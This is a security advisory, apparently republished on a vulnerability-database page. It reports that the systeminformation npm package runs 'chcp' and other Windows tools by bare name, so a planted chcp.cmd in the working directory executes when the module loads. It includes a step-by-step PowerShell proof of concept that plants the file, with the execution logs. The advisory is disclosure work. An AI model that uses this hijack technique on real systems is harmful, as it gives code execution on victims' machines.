GHSA-4rq7-f537-x35q: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

On Windows the module calls chcp while it is being loaded, and it calls it by name only. That goes through cmd.exe, and cmd.exe looks in the current directory before it looks in PATH. So if node was started in a folder that happens to contain a chcp.cmd (or .bat, .exe, .com), that file is executed instead of the real C:\Windows\System32\chcp.com. You don't have to call any function for this. require('systeminformation') is enough.

Details

lib/index.js line 56:

if (_windows) {
  util.getCodepage();
  util.getPowershell();
}

lib/util.js line 575:

function getCodepage() {
  if (_windows) {
    if (!codepage) {
      try {
        const stdout = execSync('chcp', execOptsWin);

execSync ends up as cmd.exe /d /s /c "chcp". Unless the env var NoDefaultCurrentDirectoryInExePath exists (it doesn't on a normal Windows install), cmd tries the current directory first with every PATHEXT extension, and only then PATH. Microsoft documents the variable here: https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-needcurrentdirectoryforexepathw The file can be a plain text .cmd, the attacker doesn't need to drop a binary. There are more calls like this. They are less interesting because the app has to call the function first, but they have the same problem:

  • lib/network.js:70 netstat -r (networkInterfaces, networkInterfaceDefault, networkStats with no iface)
  • lib/network.js:298 ipconfig /all (networkInterfaces)
  • lib/network.js:362 netsh lan show profiles (networkInterfaces)
  • lib/network.js:375 and :427 execFileSync('netsh', ...) (networkInterfaces, wifi adapters)
  • lib/network.js:1792 netstat -nao (networkConnections)
  • lib/network.js:1975 netstat -r (networkGatewayDefault)
  • lib/util.js:614 WHERE smartctl and lib/filesystem.js:1811 smartctl (diskLayout) I ran the chcp, netstat, netsh lan and ipconfig ones and they all picked up my file. The two execFileSync('netsh') calls don't use cmd.exe, but node on Windows also checks the cwd first for a bare name, at least for .exe: I copied whoami.exe to .\netsh.exe and execFileSync('netsh', [...]) ran my copy. The smartctl ones I only read, I don't have smartmontools installed.

powershell.exe and reg.exe are already called with a full path (util.js:357, osinfo.js:1297), so I assume the others were just never changed. Line numbers are from 5.33.22. master has the same code right now.

Proof of concept

Windows 10 Pro 19045, node v26.13.0, systeminformation 5.33.22 from npm. Run in PowerShell.


# some app that only loads the module
mkdir C:\poc\app; cd C:\poc\app
npm init -y; npm install systeminformation@5.33.22
"const si = require('systeminformation'); console.log('required', si.version());" | Out-File -Encoding ascii app.js

# folder with one file from the attacker
mkdir C:\poc\untrusted; cd C:\poc\untrusted
"@echo off`r`necho executed %~nx0 as %USERNAME%> `"%~dp0EXECUTED.txt`"`r`necho Active code page: 437" | Out-File -Encoding ascii chcp.cmd

# empty folder for comparison
mkdir C:\poc\clean; cd C:\poc\clean
node C:\poc\app\app.js
dir

# same app, started from the other folder
cd C:\poc\untrusted
node C:\poc\app\app.js
dir
type EXECUTED.txt

What I get:

---- cwd = clean
required 5.33.22
files now:
---- cwd = untrusted
required 5.33.22
files now: chcp.cmd, EXECUTED.txt
EXECUTED.txt: executed chcp.cmd as <my user>

(that's the output of my script, which does the steps above and prints the folder contents after each run) The app prints the same thing both times, so the user has no idea something else ran. One thing that cost me some time: my first terminal had NoDefaultCurrentDirectoryInExePath set and nothing happened. If it doesn't reproduce for you, check echo %NoDefaultCurrentDirectoryInExePath% and unset it. It is not set on a default system. With netsh.cmd, netstat.cmd and ipconfig.cmd in the folder too, and the app calling networkInterfaces(), networkGatewayDefault() and networkConnections(), the log looks like this:

executed chcp.cmd     args=[]
executed netstat.cmd  args=[-r]
executed netsh.cmd    args=[lan show profiles]
executed ipconfig.cmd args=[/all]
executed netstat.cmd  args=[-r]
executed netstat.cmd  args=[-nao]

I can send the two scripts I used if that helps.

Impact

Code execution as the user running node. The realistic case is somebody running a CLI or an Electron/desktop app that depends on systeminformation from inside a folder they didn't create themselves: a cloned repo, an unpacked zip, a network share. The file runs at module load, before the app has done anything. It could also be a local privilege escalation if something running as a higher privileged account loads the module with a working directory that normal users can write to. I haven't looked for a concrete case of that, so I'm not claiming it. I know the cwd lookup is a Windows thing and not something this library invented. I'm still reporting it here because it happens inside require(), so an app using the library can't do anything about it, and because it's a small change on your side. Yarn got CVE-2021-4435 for the same kind of bug with the same CVSS vector.


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-x2g8-7ch4-h792HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/core
NonOuiNov 18, 2026
GHSA-f7q8-26cc-xx7rHIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-8r4f-p963-7296HIGH8.9
  • JavaScript logoJavaScript
  • @graphql-markdown/graphql
NonOuiNov 18, 2026
GHSA-6m8m-x9vx-3f84HIGH7.9
  • JavaScript logoJavaScript
  • @graphql-markdown/docusaurus
NonOuiNov 18, 2026
GHSA-4rq7-f537-x35qHIGH7.8
  • JavaScript logoJavaScript
  • systeminformation
NonOuiNov 18, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités